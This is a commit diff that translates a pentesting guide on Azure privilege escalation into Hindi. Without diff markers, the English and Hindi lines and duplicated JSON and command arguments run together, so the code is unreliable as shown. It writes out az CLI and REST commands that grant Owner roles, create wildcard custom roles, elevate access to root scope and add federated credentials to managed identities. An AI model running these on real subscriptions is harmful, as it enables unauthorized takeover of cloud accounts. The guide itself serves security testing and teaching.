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Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

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src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md
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@@ -4,7 +4,7 @@
## Azure IAM
Fore more information check:
अधिक जानकारी के लिए देखें:
{{#ref}}
../az-services/az-azuread.md
@@ -12,45 +12,40 @@ Fore more information check:
### Microsoft.Authorization/roleAssignments/write
This permission allows to assign roles to principals over a specific scope, allowing an attacker to escalate privileges by assigning himself a more privileged role:
यह अनुमति विशेष दायरे में प्रिंसिपलों को भूमिकाएँ सौंपने की अनुमति देती है, जिससे एक हमलावर को अधिक विशेषाधिकार प्राप्त भूमिका सौंपकर विशेषाधिकार बढ़ाने की अनुमति मिलती है:
```bash
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
```
### Microsoft.Authorization/roleDefinitions/Write
This permission allows to modify the permissions granted by a role, allowing an attacker to escalate privileges by granting more permissions to a role he has assigned.
Create the file `role.json` with the following **content**:
यह अनुमति एक भूमिका द्वारा दी गई अनुमतियों को संशोधित करने की अनुमति देती है, जिससे एक हमलावर को अधिक अनुमतियाँ देने के द्वारा विशेषाधिकार बढ़ाने की अनुमति मिलती है जो उसने असाइन की है।
फाइल `role.json` निम्नलिखित **सामग्री** के साथ बनाएं:
```json
{
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"]
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}
```
Then update the role permissions with the previous definition calling:
फिर पिछले परिभाषा को कॉल करते हुए भूमिका अनुमतियों को अपडेट करें:
```bash
az role definition update --role-definition role.json
```
### Microsoft.Authorization/elevateAccess/action
This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources.
यह अनुमति विशेषाधिकार बढ़ाने और किसी भी प्रिंसिपल को Azure संसाधनों पर अनुमतियाँ सौंपने की अनुमति देती है। इसे Entra ID Global Administrators को दिया जाना चाहिए ताकि वे Azure संसाधनों पर अनुमतियों का प्रबंधन कर सकें।
> [!TIP]
> I think the user need to be Global Administrator in Entrad ID for the elevate call to work.
> मुझे लगता है कि उपयोगकर्ता को elevate कॉल काम करने के लिए Entra ID में Global Administrator होना चाहिए।
```bash
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
@@ -58,27 +53,22 @@ az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Au
# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
```
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
This permission allows to add Federated credentials to managed identities. E.g. give access to Github Actions in a repo to a managed identity. Then, it allows to **access any user defined managed identity**.
Example command to give access to a repo in Github to the a managed identity:
यह अनुमति प्रबंधित पहचान में संघीय क्रेडेंशियल जोड़ने की अनुमति देती है। उदाहरण के लिए, एक प्रबंधित पहचान को एक रिपॉजिटरी में Github Actions तक पहुँच देने के लिए। फिर, यह **किसी भी उपयोगकर्ता द्वारा परिभाषित प्रबंधित पहचान** तक पहुँचने की अनुमति देती है।
Github में एक रिपॉजिटरी को प्रबंधित पहचान तक पहुँच देने के लिए उदाहरण कमांड:
```bash
# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
```
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